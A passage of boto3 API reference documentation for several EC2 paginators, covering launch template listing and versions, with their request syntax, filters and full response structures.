parameter. +- **Versions** (_list_) -- + + One or more versions of the launch template. Valid values depend on whether you are describing a specified launch template (by ID or name) or all launch templates in your account. + + To describe one or more versions of a specified launch template, valid values are $Latest , $Default , and numbers. + + To describe all launch templates in your account that are defined as the latest version, the valid value is $Latest . To describe all launch templates in your account that are defined as the default version, the valid value is $Default . You can specify $Latest and $Default in the same call. You cannot specify numbers. + + - _(string) --_ +- **MinVersion** (_string_) -- The version number after which to describe launch template versions. +- **MaxVersion** (_string_) -- The version number up to which to describe launch template versions. +- **Filters** (_list_) -- + + One or more filters. + + - create-time - The time the launch template version was created. + - ebs-optimized - A boolean that indicates whether the instance is optimized for Amazon EBS I/O. + - iam-instance-profile - The ARN of the IAM instance profile. + - image-id - The ID of the AMI. + - instance-type - The instance type. + - is-default-version - A boolean that indicates whether the launch template version is the default version. + - kernel-id - The kernel ID. + - ram-disk-id - The RAM disk ID. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplateVersions': [ + { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'VersionNumber': 123, + 'VersionDescription': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'CreatedBy': 'string', + 'DefaultVersion': True|False, + 'LaunchTemplateData': { + 'KernelId': 'string', + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'Encrypted': True|False, + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'KmsKeyId': 'string', + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'Throughput': 123 + }, + 'NoDevice': 'string' + }, + ], + 'NetworkInterfaces': [ + { + 'AssociateCarrierIpAddress': True|False, + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'InterfaceType': 'string', + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string', + 'PartitionNumber': 123 + }, + 'RamDiskId': 'string', + 'DisableApiTermination': True|False, + 'InstanceInitiatedShutdownBehavior': 'stop'|'terminate', + 'UserData': 'string', + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'ElasticGpuSpecifications': [ + { + 'Type': 'string' + }, + ], + 'ElasticInferenceAccelerators': [ + { + 'Type': 'string', + 'Count': 123 + }, + ], + 'SecurityGroupIds': [ + 'string', + ], + 'SecurityGroups': [ + 'string', + ], + 'InstanceMarketOptions': { + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + 'CreditSpecification': { + 'CpuCredits': 'string' + }, + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'HibernationOptions': { + 'Configured': True|False + }, + 'MetadataOptions': { + 'State': 'pending'|'applied', + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + } + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **LaunchTemplateVersions** _(list) --_ + + Information about the launch template versions. + + - _(dict) --_ + + Describes a launch template version. + + - **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + - **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + - **VersionNumber** _(integer) --_ + + The version number. + + - **VersionDescription** _(string) --_ + + The description for the version. + + - **CreateTime** _(datetime) --_ + + The time the version was created. + + - **CreatedBy** _(string) --_ + + The principal that created the version. + + - **DefaultVersion** _(boolean) --_ + + Indicates whether the version is the default version. + + - **LaunchTemplateData** _(dict) --_ + + Information about the launch template. + + - **KernelId** _(string) --_ + + The ID of the kernel, if applicable. + + - **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. + + - **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Name** _(string) --_ + + The name of the instance profile. + + - **BlockDeviceMappings** _(list) --_ + + The block device mappings. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name. + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeralN). + + - **Ebs** _(dict) --_ + + Information about the block device for an EBS volume. + + - **Encrypted** _(boolean) --_ + + Indicates whether the EBS volume is encrypted. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS) that the volume supports. + + - **KmsKeyId** _(string) --_ + + The ARN of the AWS Key Management Service (AWS KMS) CMK used for encryption. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiB. + + - **VolumeType** _(string) --_ + + The volume type. + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + - **NetworkInterfaces** _(list) --_ + + The network interfaces. + + - _(dict) --_ + + Describes a network interface. + + - **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to associate a Carrier IP address with eth0 for a new network interface. + + Use this option when you launch an instance in a Wavelength Zone and want to associate a Carrier IP address with the network interface. For more information about Carrier IP addresses, see [Carrier IP addresses](https://docs.aws.amazon.com/wavelength/latest/developerguide/how-wavelengths-work.html#provider-owned-ip) in the _AWS Wavelength Developer Guide_ . + + - **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to associate a public IPv4 address with eth0 for a new network interface. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **Description** _(string) --_ + + A description for the network interface. + + - **DeviceIndex** _(integer) --_ + + The device index for the network interface attachment. + + - **Groups** _(list) --_ + + The IDs of one or more security groups. + + - _(string) --_ + - **InterfaceType** _(string) --_ + + The type of network interface. + + - **Ipv6AddressCount** _(integer) --_ + + The number of IPv6 addresses for the network interface. + + - **Ipv6Addresses** _(list) --_ + + The IPv6 addresses for the network interface. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **PrivateIpAddress** _(string) --_ + + The primary private IPv4 address of the network interface. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses. + + - _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + - **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + - **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses for the network interface. + + - **SubnetId** _(string) --_ + + The ID of the subnet for the network interface. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **ImageId** _(string) --_ + + The ID of the AMI that was used to launch the instance. + + - **InstanceType** _(string) --_ + + The instance type. + + - **KeyName** _(string) --_ + + The name of the key pair. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **Enabled** _(boolean) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + - **Placement** _(dict) --_ + + The placement of the instance. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + - **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. + + - **GroupName** _(string) --_ + + The name of the placement group for the instance. + + - **HostId** _(string) --_ + + The ID of the Dedicated Host for the instance. + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. + + - **SpreadDomain** _(string) --_ + + Reserved for future use. + + - **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. + + - **PartitionNumber** _(integer) --_ + + The number of the partition the instance should launch in. Valid only if the placement group strategy is set to partition . + + - **RamDiskId** _(string) --_ + + The ID of the RAM disk, if applicable. + + - **DisableApiTermination** _(boolean) --_ + + If set to true , indicates that the instance cannot be terminated using the Amazon EC2 console, command line tool, or API. + + - **InstanceInitiatedShutdownBehavior** _(string) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + - **UserData** _(string) --_ + + The user data for the instance. + + - **TagSpecifications** _(list) --_ + + The tags. + + - _(dict) --_ + + The tag specification for the launch template. + + - **ResourceType** _(string) --_ + + The type of resource. + + - **Tags** _(list) --_ + + The tags for the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **ElasticGpuSpecifications** _(list) --_ + + The elastic GPU specification. + + - _(dict) --_ + + Describes an elastic GPU. + + - **Type** _(string) --_ + + The elastic GPU type. + + - **ElasticInferenceAccelerators** _(list) --_ + + The elastic inference accelerator for the instance. + + - _(dict) --_ + + Describes an elastic inference accelerator. + + - **Type** _(string) --_ + + The type of elastic inference accelerator. The possible values are eia1.medium, eia1.large, and eia1.xlarge. + + - **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + + - **SecurityGroupIds** _(list) --_ + + The security group IDs. + + - _(string) --_ + - **SecurityGroups** _(list) --_ + + The security group names. + + - _(string) --_ + - **InstanceMarketOptions** _(dict) --_ + + The market (purchasing) option for the instances. + + - **MarketType** _(string) --_ + + The market type. + + - **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + - **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. + + - **SpotInstanceType** _(string) --_ + + The Spot Instance request type. + + - **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + - **ValidUntil** _(datetime) --_ + + The end date of the request. For a one-time request, the request remains active until all instances launch, the request is canceled, or this date is reached. If the request is persistent, it remains active until it is canceled or this date and time is reached. + + - **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. + + - **CreditSpecification** _(dict) --_ + + The credit option for CPU usage of the instance. + + - **CpuCredits** _(string) --_ + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + + - **CpuOptions** _(dict) --_ + + The CPU options for the instance. For more information, see [Optimizing CPU Options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + - **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + - **CapacityReservationSpecification** _(dict) --_ + + Information about the Capacity Reservation targeting option. + + - **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + - open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + - none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + - **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + - **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + - **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + - **LicenseSpecifications** _(list) --_ + + The license configurations. + + - _(dict) --_ + + Describes a license configuration. + + - **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + - **HibernationOptions** _(dict) --_ + + Indicates whether an instance is configured for hibernation. For more information, see [Hibernate Your Instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - **Configured** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + - **MetadataOptions** _(dict) --_ + + The metadata options for the instance. For more information, see [Instance Metadata and User Data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + - **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + - **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + - **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + - **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + - **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + +_class_ EC2.Paginator.DescribeLaunchTemplates + +paginator = client.get_paginator('describe_launch_templates') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_launch_templates()](#EC2.Client.describe_launch_templates "EC2.Client.describe_launch_templates"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLaunchTemplates) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + LaunchTemplateIds=[ + 'string', + ], + LaunchTemplateNames=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **LaunchTemplateIds** (_list_) -- + + One or more launch template IDs. + + - _(string) --_ +- **LaunchTemplateNames** (_list_) -- + + One or more launch template names. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - create-time - The time the launch template was created. + - launch-template-name - The name of the launch template. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplates': [ + { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'CreatedBy': 'string', + 'DefaultVersionNumber': 123, + 'LatestVersionNumber': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **LaunchTemplates** _(list) --_ + + Information about the launch templates. + + - _(dict) --_ + + Describes a launch template. + + - **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + - **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + - **CreateTime** _(datetime) --_ + + The time launch template was created. + + - **CreatedBy** _(string) --_ + + The principal that created the launch template. + + - **DefaultVersionNumber** _(integer) --_ + + The version number of the default version of the launch template. + + - **LatestVersionNumber** _(integer) --_ + + The version number of the latest version of the launch template. + + - **Tags** _(list) --_ + + The tags for the launch template. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeLocalGatewayRouteTableVirtualInterfaceGroupAssociationsDescribeLocalGatewayRouteTableVirtualInterfaceGroupAssociations "Permalink to this definition") + +paginator = client.get_paginator('describe_local_gateway_route_table_virtual_interface_group_associations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_local_gateway_route_table_virtual_interface_group_associations()](#EC2.Client.describe_local_gateway_route_table_virtual_interface_group_associations "EC2.Client.describe_local_gateway_route_table_virtual_interface_group_associations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayRouteTableVirtualInterfaceGroupAssociations) + +**Request Syntax** + +response_iterator = paginator.paginate( + LocalGatewayRouteTableVirtualInterfaceGroupAssociationIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters 